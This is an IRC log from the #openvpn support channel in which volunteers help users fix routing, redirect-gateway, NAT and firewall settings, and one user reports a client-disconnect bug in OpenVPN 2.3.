19:42 < EugeneKay> There are also a few google results of interest for "openvpn compile static"
19:46 <@krzee> commonly used for embedded devices
20:06 <+hazardous> hi krzee~
20:07 -!- JSharpe [~JSharpe@10-253-3-31-anc.floodtel.net] has quit [Quit: Leaving]
20:29 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit [Ping timeout: 260 seconds]
20:30 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
20:35 -!- n0sq [~quassel@75-135-14-61.dhcp.krny.ne.charter.com] has joined #openvpn
20:35 -!- clu5ter [~staff@unaffiliated/clu5ter] has quit [Read error: Connection reset by peer]
20:37 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit [Read error: Connection reset by peer]
20:38 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
20:38 -!- clu5ter [~staff@unaffiliated/clu5ter] has joined #openvpn
21:29 -!- mail323 [~mail323@c-98-254-82-94.hsd1.fl.comcast.net] has joined #openvpn
21:41 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
21:59 -!- neverme [neverme@177.182.58.82] has joined #openvpn
22:00 -!- mail323 [~mail323@c-98-254-82-94.hsd1.fl.comcast.net] has left #openvpn []
22:00 < neverme> Is there a significant difference from using OpenVPN on tcp over udp ? for instance if all clients connecting to it have a higher download speed then they have their upload speed would having the server set on tcp be actually better in the end ? an example would be a 20mb download with 1mb upload internet
22:01 < neverme> or am I talking shit and udp will be superior in all cases or is there a specific case I will want tcp over it ?
22:02 < neverme> I understand that tcp will wait for confirmation and stuff, while udp wont or something like that I mean I know the basic of how both work handshake etc
22:11 -!- p3rror [~mezgani@41.249.146.72] has quit [Ping timeout: 248 seconds]
22:11 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has quit []
22:13 -!- neverme [neverme@177.182.58.82] has quit [Quit: Leaving]
22:23 < EugeneKay> !fail2ban
22:23 <@vpnHelper> "fail2ban" is in linux you can replace fail2ban without the background process with something like: iptables -A INPUT -m tcp -p tcp --dport 22 -m hashlimit --hashlimit-name ssh --hashlimit-upto 5/minute --hashlimit-mode srcip --hashlimit-srcmask 24 -j ACCEPT
22:38 <@krzee> hey hazardous
22:38 <@krzee> !tcp
22:38 <@vpnHelper> "tcp" is (#1) Sometimes you cannot avoid tunneling over tcp, but if you can avoid it, DO. http://sites.inka.de/~bigred/devel/tcp-tcp.html Why TCP Over TCP Is A Bad Idea. or (#2) http://www.openvpn.net/papers/BLUG-talk/14.html for a presentation by James Yonan (OpenVPN lead developer) or (#3) if you must use tcp, you likely want --tcp-nodelay
22:45 -!- sysdoc [~sysdoc@pool-71-105-40-229.lsanca.dsl-w.verizon.net] has quit [Remote host closed the connection]
22:51 -!- dsii [allan@hijacked.us] has joined #openvpn
22:51 < dsii> !fail2ban
22:51 <@vpnHelper> "fail2ban" is in linux you can replace fail2ban without the background process with something like: iptables -A INPUT -m tcp -p tcp --dport 22 -m hashlimit --hashlimit-name ssh --hashlimit-upto 5/minute --hashlimit-mode srcip --hashlimit-srcmask 24 -j ACCEPT
22:56 <+hazardous> why is tcp over tcp bad ;o
23:00 -!- hydroxyhydride [~bumblebee@cpe-66-65-132-80.nyc.res.rr.com] has quit [Ping timeout: 252 seconds]
23:00 -!- bumblebee [~bumblebee@cpe-66-65-132-80.nyc.res.rr.com] has quit [Ping timeout: 252 seconds]
23:14 < EugeneKay> Read the page
23:14 < EugeneKay> It explains it
23:54 -!- Teck7 [~teck7@bas1-montreal54-1279376358.dsl.bell.ca] has joined #openvpn
23:56 -!- rfxn [~teck7@69.157.154.143] has quit [Ping timeout: 248 seconds]
--- Day changed Sat Feb 23 2013
00:02 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
01:10 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
02:07 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
02:16 -!- dazo_afk is now known as dazo
02:16 -!- Orbi [~opera@109.129.18.157] has joined #openvpn
02:34 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit [Read error: Connection reset by peer]
02:34 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
03:36 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
03:57 -!- Orbi [~opera@109.129.18.157] has quit [Ping timeout: 252 seconds]
03:58 -!- md_5 [md_5@mcdevs/trusted/md-5] has quit [Ping timeout: 252 seconds]
04:13 -!- md_5 [md_5@mcdevs/trusted/md-5] has joined #openvpn
04:33 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has joined #openvpn
04:43 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
04:45 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Client Quit]
04:46 -!- novaflash_away is now known as novaflash
04:50 -!- discojoe [~wtf@78.157.218.55] has joined #openvpn
04:52 < discojoe> why cant i access my openvpn server ip? vpn works, i can access all web etc... except site hosted on same server vpn is run
04:53 < discojoe> do i need to add something in firewall/iptables?
04:54 < pekster> Why do you assume the vpn works? Why would accessing "all web etc" demonstrate this?
04:54 < discojoe> i can connect to vpn
04:55 < pekster> That doesn't mean you can send traffic over it necessarily. The traditional test to see if the VPN link is up is to ping the server. If the server drops/firewalls this traffic, you're going to have a very hard time showing that the VPN is configured correctly
04:55 < discojoe> then open everything execpt ip or domain that is hosted on same server
04:56 < discojoe> i can ping server
04:57 < pekster> You can ping the server's VPN IP address?
04:58 < discojoe> yes sir
04:58 < pekster> Then your VPN is working. Anything else is a routing/firewall problem
04:58 < pekster> (firewall in the case of accessing a service on the VPN IP of the server itself)
04:58 -!- FellowTraveler [~Adium@opentransactions/dev/FellowTraveler] has joined #openvpn
04:59 < discojoe> ok, so i need to allow access to server ip thru vpn
04:59 < discojoe> will start playing around with ti
04:59 < discojoe> thanks pekster
04:59 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
04:59 < pekster> Apparently. You already have pings working, so "access" is relative to what you expect to do
05:00 < discojoe> i need to be able to ssh to server thru vpn
05:00 < discojoe> also access 2 website run on same server
05:00 < FellowTraveler> I've recently set up OpenVPN on a plug server, and I'm using a VPN client to connect to it, which seems to work, but when I go to WhatIsMyIP.com, it shows my actual IP address. Can anyone help me get it working for real?
05:03 < FellowTraveler> I would be able to paypal $50 to whoever is able to help me get it working.
05:03 < FellowTraveler> Or BTC.
05:04 < discojoe> FellowTraveler how do you know its connecting to vpn?
05:04 < discojoe> Can you ping vpn ip?
05:04 < FellowTraveler> I'm connecting with Viscosity and the little thing turns green
05:04 < FellowTraveler> when you say VPN IP, do you mean the external WAN IP ?
05:06 < FellowTraveler> the plug server is on a subnet like 192.168.x.x — The VPN client is on a subnet like 10.x.x.x
05:06 < FellowTraveler> In the VPN server.conf itself, is this sort of addressing:  ifconfig 172.31.0.1 172.31.0.2
05:07 < pekster> What's the goal
05:07 < pekster> !goal
05:07 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
05:07 < FellowTraveler> I want to use this plug server VPN, so I don't have to pay for VPN service anymore.
05:08 < FellowTraveler> the VPN plug server is at my brother's house in Nevada.  When I am surfing the Internet, I want it to appear as if I am at my brother's house in Nevada.
05:08 < FellowTraveler> But when I connect to the VPN server, and then go to whatismyip.com, it shows my actual IP address here, instead of his external WAN address in Nevada.
05:08 < FellowTraveler> .
05:09 < FellowTraveler> I would like to have my own private VPN server, so I don't have to pay any VPN service anymore. These places charge $200 per year and I bought the plug server for $200.
05:09 < FellowTraveler> That way I should never have to use a service again.
05:09 < FellowTraveler> .
05:10 < pekster> First you need a working VPN setup where you can ping the VPN server IP. Then, follow these docs:
05:10 < pekster> !redirect
05:10 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
05:10 <@vpnHelper> http://ircpimps.org/redirect.png
05:10 < pekster> In particular, note the flowchart that guides you through each step you need
05:10 < FellowTraveler> when you say, the VPN server IP, do you mean the external WAN IP for the router where the plug server is located?
05:10 < FellowTraveler> where I opened the UDP port 1194 to forward from the router to the plug server.
05:10 < pekster> No, the IP assigned to the VPN peer. The inside, tunneled IP
05:11 < FellowTraveler> question: if I put this in my server.conf:   ifconfig 172.31.0.1 172.31.0.2
05:11 < FellowTraveler> is 172.31.0.1 the IP assigned to the VPN server?
05:12 < pekster> Yup
05:13 < FellowTraveler> okay I definitely can't ping it.
05:13 < pekster> Then your VPN is either incorrectly configured, or you are not allowing the ping request on the server in your firewall
05:14 < FellowTraveler> the only ports that are opened, are 22 and 1194 I believe
05:14 < FellowTraveler> so maybe it's still up, but just ping won't work.
05:14 < pekster> You should fix that
05:14 < FellowTraveler> I can call my brother and open the ping port, but I guess that will have to be another day
05:14 < FellowTraveler> since I am not physically at the location where the server is.
05:15 < pekster> You should generally accept all traffic coming in over the VPN interface unless there's a good reason not to; the only traffic on that interface will be secured VPN traffic
05:17 < FellowTraveler> question:
05:17 < FellowTraveler> if I have this in the server conf:
05:17 < FellowTraveler> ifconfig 172.31.0.1 172.31.0.2
05:17 < FellowTraveler> should I put something similar in client.conf ?
05:17 < FellowTraveler> I'm seeing a warning message in the logs about that being on server side only.
05:17 < FellowTraveler> do I need to reverse the numbers or anything, and put something like that on the client side too ?
05:18 < pekster> That depends on your setup and configured mode of operation. Paste your server config, client config, and the client logs for more details
05:18 < pekster> Or see the official howto that gets you to a functional VPN setup:
05:18 < pekster> !howto
05:18 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
05:18 < pekster> In fact, the howto is probably a better place to start
05:18 < pekster> Complete that, and you should end up with a fully functional VPN. You can then add on redirect support as shown earlier
05:20 < FellowTraveler> okay I will do that, but I am pasting these anyway in case you spot something obvious
05:20 < FellowTraveler> server: http://pastebin.com/fcNS1mbK
05:20 < FellowTraveler> client: http://pastebin.com/fsurjJcU
05:21 < FellowTraveler> client log: http://pastebin.com/LTAjYfPj
05:21 < FellowTraveler> .
05:22 -!- dazo is now known as dazo_afk
05:25 -!- Saviq_ [~Saviq@89-70-82-159.dynamic.chello.pl] has joined #openvpn
05:26 < pekster> FellowTraveler: Lots of problems. Your client logs has what are pretty self-explanitory errors on lines 9 & 10 in that log output. You're using ifconfig static addressing on the server but not the client, and the client specifies 'pull' without any relevant push statements from the server
05:26 < pekster> The howto can fix all of that by showing you how to set up a proper setup
05:28 < pekster> Actually, the comp-lzo warning can safely be ignored in this case as the setting on the client is actually the default. It's wise, however, to match that directive on both peers
05:32 < pekster> FellowTraveler, no PMs please for support-realted questions that should be kept in-channel
05:32 < pekster> If you're hell-bent on keeping your current config, you can add a matching 'ifconfig' statement on the client and reverse the IP ordering
05:32 < FellowTraveler> how about the pull ?
05:33 < pekster> No need for the 'pull' in the client, and in fact you should remove it as it conflicts with the 'redirect-gateway' statement on the server (your client has the def1 flag while the push does not)
05:33 < pekster> That, or you should remove that on the client side and push it strictly from the server; both do the same thing, although you probably want def1:
05:33 < pekster> !def1
05:33 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
05:35 < FellowTraveler> do I still need the static ifconfig, if I fix the push redirect-gateway to include def1 ?
05:35 < FellowTraveler> also, if I fix the push, do I still need the pull?
05:36 < pekster> Remove (or comment out) the push line in your server config. Then you don't need the pull either. That'll fix the discrepency (the long story is that you are pushing that directive, and then overriding it on the client with the same directive but have added that def1 flag, so it takes priority
05:36 < pekster> Use one method or the other: not both at once.
05:37 < FellowTraveler> Also, FYI, I performed these two steps on the server command line:
05:37 < FellowTraveler> echo "1" >  /proc/sys/net/ipv4/ip_forward
05:37 < FellowTraveler> iptables -t nat -A POSTROUTING -s 172.31.0.0/24 -o eth0 -j MASQUERADE -v
05:38 < pekster> That's outside the scope of openvpn. Get your connection working first, then worry about redirection. Your firewall also needs to accept the return traffic on the FORWARD chain, although that's also outside the scope of openvpn (a networking or firewall support channel is more appropriate)
05:39 < pekster> You'll probably find helpful hints in the links the bot gave you above that is on-point with firewall config for your setup
05:42 -!- discojoe [~wtf@78.157.218.55] has left #openvpn []
05:44 -!- nutron [~nutron@unaffiliated/nutron] has quit [Ping timeout: 256 seconds]
05:49 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
05:52 < FellowTraveler> I have to give it to you pekster, the ping is now working to the VPN server!
05:53 < FellowTraveler> unfortunately whatismyip still gives me my actual IP address instead of the VPN server's IP address. Perhaps I should turn the redirect-gateway back on?
05:53 < FellowTraveler> And in that case, I should comment-out the ifconfig ?
05:53 < FellowTraveler> in which case, how will it assign the IP address, since the ifconfig is where I was previously doing that?
05:55 -!- nutron [~nutron@unaffiliated/nutron] has quit [Max SendQ exceeded]
05:58 < pekster> Go re-read what I wrote about that redirect-gateway statement. Then go re-read what the bot told you
05:58 < pekster> If you disabled all occurrances of it, you didn't read carefully enough
05:59 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
06:00 -!- FellowTraveler1 [~Adium@ip72-193-210-165.lv.lv.cox.net] has joined #openvpn
06:01 < FellowTraveler1> basically I commented out the redirect-gateway on the server side, uncommented it on the client side, left the #pull commented on the client side, and put in the ifconfig routes with the numbers reversed like you advised.
06:01 < FellowTraveler1> Then I went to whatismyip.com and it showed me the Nevada IP instead of my actual IP
06:01 < pekster> Client logs report problems adding the route?
06:02 -!- FellowTraveler [~Adium@opentransactions/dev/FellowTraveler] has quit [Ping timeout: 245 seconds]
06:02 < FellowTraveler1> I don't see any, no.
06:02 < pekster> Mac on the client?
06:02 < FellowTraveler1> yes
06:03 < pekster> pastebin output from 'route'
06:03 < pekster> (once the VPN is up)
06:03 < pekster> You left your original client config line for redirect-gateway alone, yes?
06:03 < FellowTraveler1> it's up now, if I type "route" on the terminal it says:  usage: route [-dnqtv] command [[modifiers] args]
06:03 < FellowTraveler1> Client: redirect-gateway def1
06:03 < FellowTraveler1> Server: irc://irc.freenode.net:6667/#push "redirect-gateway"
06:04 < FellowTraveler1> oops Server: #push "redirect-gateway"
06:04 < pekster> 'route show' or 'route print' maybe? BSD route is different than my command
06:06 < FellowTraveler1> looks like netstat -r
06:06 < FellowTraveler1> 172.31.0.1         172.31.0.2         UH             77        3    tun0
06:07 < FellowTraveler1> this is also there:
06:07 < FellowTraveler1> 128.0/1            172.31.0.1         UGSc           11        0    tun0
06:07 < FellowTraveler1> lots of others.
06:07 < pekster> Ergo the pastebin
06:07 < FellowTraveler1> very well
06:07 < pekster> 'netstat -rn' preferred for best formatting
06:07 < pekster> (assuming BSD does that... how I'm expecting)
06:08 < FellowTraveler1> http://pastebin.com/JUhkpyG4
06:09 < pekster> Cool, darwin now uses CIDR. I'm mildly impressed.
06:09 < FellowTraveler1> it definitely appears to be working! my traceroutes are going through the plug server
06:09 < pekster> Okay, so the redirect-gateway stuff is getting added (those are the 2 /1 routes)
06:14 -!- ||arifaX [~quassel@unaffiliated/arifax/x-427475] has joined #openvpn
06:15 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Read error: Connection reset by peer]
06:16 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
06:21 -!- dazo_afk is now known as dazo
06:23 -!- FellowTraveler1 [~Adium@ip72-193-210-165.lv.lv.cox.net] has quit [Ping timeout: 256 seconds]
06:43 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
06:44 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 264 seconds]
06:45 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
06:47 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
06:58 -!- brute11k [~brute11k@89.249.235.210] has quit [Ping timeout: 244 seconds]
07:01 -!- brute11k [~brute11k@89.249.235.210] has joined #openvpn
07:03 -!- master_of_master [~master_of@p57B55327.dip.t-dialin.net] has quit [Read error: Operation timed out]
07:06 -!- master_of_master [~master_of@p57B52F92.dip.t-dialin.net] has joined #openvpn
07:12 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
07:18 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
07:18 -!- p3rror [~mezgani@41.248.222.112] has joined #openvpn
07:36 -!- ||arifaX [~quassel@unaffiliated/arifax/x-427475] has quit [Remote host closed the connection]
07:47 -!- hydroxyhydride [~bumblebee@cpe-66-65-132-80.nyc.res.rr.com] has joined #openvpn
07:47 -!- bumblebee [~bumblebee@cpe-66-65-132-80.nyc.res.rr.com] has joined #openvpn
08:27 -!- bumblebee [~bumblebee@cpe-66-65-132-80.nyc.res.rr.com] has quit [Ping timeout: 252 seconds]
08:28 -!- hydroxyhydride [~bumblebee@cpe-66-65-132-80.nyc.res.rr.com] has quit [Ping timeout: 252 seconds]
08:29 -!- Saviq_ [~Saviq@89-70-82-159.dynamic.chello.pl] has quit [Quit: Ex-Chat]
08:33 < kisom> So, how do I create a bug report?
08:33 < kisom> I have an account and everything, but I see no button that allows me to submit a new report.
08:33 < pekster> Should be a "new bug" button
08:33 -!- bumblebee [~bumblebee@cpe-66-65-132-80.nyc.res.rr.com] has joined #openvpn
08:33 -!- hydroxyhydride [~bumblebee@cpe-66-65-132-80.nyc.res.rr.com] has joined #openvpn
08:35 < kisom> Ah yes, found it. Awesome.
08:36 < pekster> I haven't had time to poke at your issue, but if you have a filed bugreport I'll add any findings there if I'm able to reproduce/confirm/analyize code for it
08:36 < kisom> Great. I'm going to do one last attempt at reproducing the bug at a freshly installed machine. Just to be sure.
08:37 < pekster> It helps if you can be very specific about the reproduction, and ideally get any configs demonstrating it down to their most simple form
08:38 < kisom> Yes, my plan is to post complete configuration files that anyone can just run and reproduce the issue with.
08:38 < pekster> Yup, perfect
08:38 < pekster> It makes devs happy when they can just drop in a well-written bugreport and reproduction code and have it show the issue (and that means more likely to get attention)
08:39 < kisom> I assume this should be of major priority.
08:39 < pekster> Details like OS and build number (Windows in particular is up to build I004 now) are possibly also relevant
08:40 < pekster> ovpn build, not win OS build, that is
08:40 < pekster> Yea, if you can reliable crash the client by flooding data, I'd call that a 'major' big
08:40 < pekster> bug*
08:47 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
08:47 -!- mode/#openvpn [+v s7r] by ChanServ
08:50 -!- bumblebee [~bumblebee@cpe-66-65-132-80.nyc.res.rr.com] has quit [Ping timeout: 252 seconds]
08:50 -!- hydroxyhydride [~bumblebee@cpe-66-65-132-80.nyc.res.rr.com] has quit [Ping timeout: 252 seconds]
08:57 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has quit [Ping timeout: 248 seconds]
09:01 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
09:03 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has joined #openvpn
09:15 -!- krad [~m@212.40.139.131] has joined #openvpn
09:15 -!- krad [~m@212.40.139.131] has quit [Changing host]
09:15 -!- krad [~m@unaffiliated/krad] has joined #openvpn
09:16 -!- krad [~m@unaffiliated/krad] has left #openvpn []
09:20 -!- digilink [~digilink@unaffiliated/digilink] has quit [Remote host closed the connection]
09:21 -!- digilink [~digilink@unaffiliated/digilink] has joined #openvpn
09:37 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 244 seconds]
09:38 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
09:45 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Ping timeout: 248 seconds]
09:46 -!- dazo is now known as dazo_afk
09:59 -!- emmanuelux [~emmanuelu@94.23.150.162] has joined #openvpn
10:05 -!- dazo_afk is now known as dazo
10:14 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has quit [Ping timeout: 248 seconds]
10:17 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
10:19 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has joined #openvpn
10:47 -!- emmanuelux [~emmanuelu@94.23.150.162] has quit [Ping timeout: 256 seconds]
11:03 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
11:33 -!- JSharpe [~JSharpe@188.227.181.234] has joined #openvpn
11:38 -!- dazo is now known as dazo_afk
11:39 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Remote host closed the connection]
11:41 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
11:44 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has quit [Quit: Leaving]
11:57 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Ping timeout: 260 seconds]
12:10 -!- emmanuelux [~emmanuelu@94.23.150.162] has joined #openvpn
12:22 < kisom> pekster: In case you want to try out the bug I've put together client and server configs together with a CA here: https://stormhub.org/dump/vpn-test.tar.gz
12:23 < kisom> Also includes a small script to UDP flood the client machine
12:37 -!- Mcloven_ [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
12:38 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Read error: Connection reset by peer]
12:43 -!- Saviq_ [~Saviq@89-70-82-159.dynamic.chello.pl] has joined #openvpn
12:44 -!- Cybertinus [~Cybertinu@2001:828:405:30:83:96:177:42] has quit [Read error: Connection reset by peer]
12:46 -!- Devastator- [~devas@177.18.198.44] has joined #openvpn
12:47 -!- Devastator- [~devas@177.18.198.44] has quit [Changing host]
12:47 -!- Devastator- [~devas@unaffiliated/devastator] has joined #openvpn
12:48 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 264 seconds]
12:48 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Read error: Connection reset by peer]
12:48 -!- Saviq_ [~Saviq@89-70-82-159.dynamic.chello.pl] has quit [Ping timeout: 248 seconds]
12:51 -!- Cybertinus [~Cybertinu@2001:828:405:30:83:96:177:42] has joined #openvpn
12:53 -!- Cybertinus [~Cybertinu@2001:828:405:30:83:96:177:42] has quit [Remote host closed the connection]
12:53 -!- Cybertinus [~Cybertinu@2001:828:405:30:83:96:177:42] has joined #openvpn
12:58 -!- Devastator- is now known as Devastator
13:11 -!- baobeiiii [~baobeiiii@192.73.244.224] has joined #openvpn
13:19 <@krzee> kisom, are you able to spoof it? does tls-auth stop you from being able to spoof it?
13:21 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
13:25 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
13:28 -!- Mcloven_ [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Read error: Connection reset by peer]
13:28 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
13:34 < kisom> krzee: It's not about spoofing, it's about a decryption issue when the server sends in a faster phase than the client can receive.
13:35 < kisom> Which leads to the client disconnecting from the server. But only in 2.3, not in 2.2.
13:36 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 252 seconds]
13:38 -!- Devastator [~devas@177.18.198.43] has joined #openvpn
13:38 -!- Devastator [~devas@177.18.198.43] has quit [Read error: Connection reset by peer]
13:39 -!- Devastator [~devas@177.18.198.43] has joined #openvpn
13:39 -!- Devastator [~devas@177.18.198.43] has quit [Changing host]
13:39 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
13:44 <@krzee> right, but i wonder if you could do this from a 3rd location
13:44 <@krzee> since udp is connectionless and all
13:45 <@krzee> if you know the client ip, and the server info, can you dos a client's connection with what you found?
13:46 < kisom> krzee: That's not important. If I use redirect-gateway on the client and download something heavy, say a torrent, the client disconnects almost instantly after connecting.
13:46 < kisom> krzee: The UDP flood script is just to show of the bug.
13:48 < kisom> I'll do a proper bug report tomorrow.
13:50 < kisom> But in a nutshell I'm trying to say that if the server tries to deliver more data over the VPN than the connection can handle, the client reports a crypto error and disconnects.
14:07 -!- dazo_afk is now known as dazo
14:11 < dvl> ecrist:  Sorry you're not BSDCan'ing this year.  Working on a big party.
14:14 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
14:20 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
14:24 -!- ade_b [~Ade@koln-5d817635.pool.mediaWays.net] has joined #openvpn
14:24 -!- ade_b [~Ade@koln-5d817635.pool.mediaWays.net] has quit [Changing host]
14:24 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
14:34 -!- oc80z [oc80z@blea.ch] has joined #openvpn
14:36 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
14:40 <@krzee> kisom, it might not be important to you, but i would not say it is unimportant if you found a way to stop clients and servers from connecting to eachother
14:45 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 248 seconds]
14:53 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
15:06 -!- baobeiiii [~baobeiiii@192.73.244.224] has quit [Quit: Leaving]
15:09 -!- merica [~aMERICA@75.111.74.37] has joined #openvpn
15:10 < merica> im having a problem accessing my lan resources through openvpn server setup on openwrt:http://pastebin.com/EN5Z7bRU http://pastebin.com/EYJTLc4m
15:12 < merica> anyone see how i could fix this?
15:20 -!- merica1 [~aMERICA@75.111.74.37] has joined #openvpn
15:20 -!- merica1 [~aMERICA@75.111.74.37] has quit [Read error: Connection reset by peer]
15:20 -!- merica [~aMERICA@75.111.74.37] has quit [Read error: Connection reset by peer]
15:22 -!- merica [~aMERICA@75.111.74.37] has joined #openvpn
15:22 < pekster> merica: I'm guessing a firewall problem, but I really have no clue since the config you've shown is not a netfilter ruleset but the silly abstracted openwrt file that generates them
15:23 < pekster> I threw out both that and the UCI config for openvpn too a long time ago and run things the "proper" way with a flat config file for openvpn and iptables-restore for a clean ruleset
15:23 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
15:23 < pekster> From what I can tell, the server config looks fine assuming 192.168.121.0/24 is the VPN network and 192.168.120.0/24 is the LAN
15:23 < merica> yes
15:24 < pekster> You can ping the VPN server IP from the client end?
15:24 < pekster> 192.168.121.1 ?
15:26 < merica> no
15:27 < pekster> Then your basic connectivity isn't working. If the client doesn't get disconnected with a timeout message, then it's a firewall problem
15:27 < pekster> You need to allow traffic across the VPN adapter and have not done so
15:27 < merica> it says packet filtered actually
15:27 < merica> so
15:28 < pekster> openvpn logs, or something from your kernel/netfilter?
15:34 -!- merica [~aMERICA@75.111.74.37] has quit [Read error: Connection reset by peer]
15:50 -!- Valcorb|| [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
15:50 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit [Disconnected by services]
15:51 -!- Valcorb|| is now known as Valcorb
15:53 -!- merica [~aMERICA@75.111.74.37] has joined #openvpn
15:53 -!- Rienzilla [rien@sinas.rename-it.nl] has quit [Ping timeout: 276 seconds]
15:53 -!- Rienzilla [rien@sinas.rename-it.nl] has joined #openvpn
15:56 -!- merica [~aMERICA@75.111.74.37] has quit [Read error: Connection reset by peer]
15:57 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
15:58 -!- merica [~aMERICA@75.111.74.37] has joined #openvpn
16:00 < dropje> !factoids search routing
16:00 <@vpnHelper> No keys matched that query.
16:00 < dropje> !factoids search bridge
16:00 <@vpnHelper> 'bridge-dhcp', 'fbsdbridge', 'bridge-fw', 'bridge', and 'whybridge'
16:00 < dropje> !whybridge
16:00 <@vpnHelper> "whybridge" is (#1) you only bridge if you want layer2 to the lan. if you want layer2 only between vpn nodes then routed tap is enough. if you only want layer3 use tun. or (#2) See this URL for a more in-depth discussion on bridging vs routing: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting
16:02 -!- merica [~aMERICA@75.111.74.37] has quit [Read error: Connection reset by peer]
16:05 -!- merica [~aMERICA@75.111.74.37] has joined #openvpn
16:11 -!- merica [~aMERICA@75.111.74.37] has quit [Ping timeout: 252 seconds]
16:12 -!- merica [~aMERICA@75.111.74.37] has joined #openvpn
16:12 -!- merica [~aMERICA@75.111.74.37] has quit [Read error: Connection reset by peer]
16:13 -!- Valcorb|| [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
16:13 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit [Read error: Connection reset by peer]
16:13 -!- Valcorb|| is now known as Valcorb
16:14 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit [Client Quit]
16:19 -!- |Mike| [mike@2001:0:53aa:64c:28ac:7181:2b66:b9f1] has quit [Ping timeout: 245 seconds]
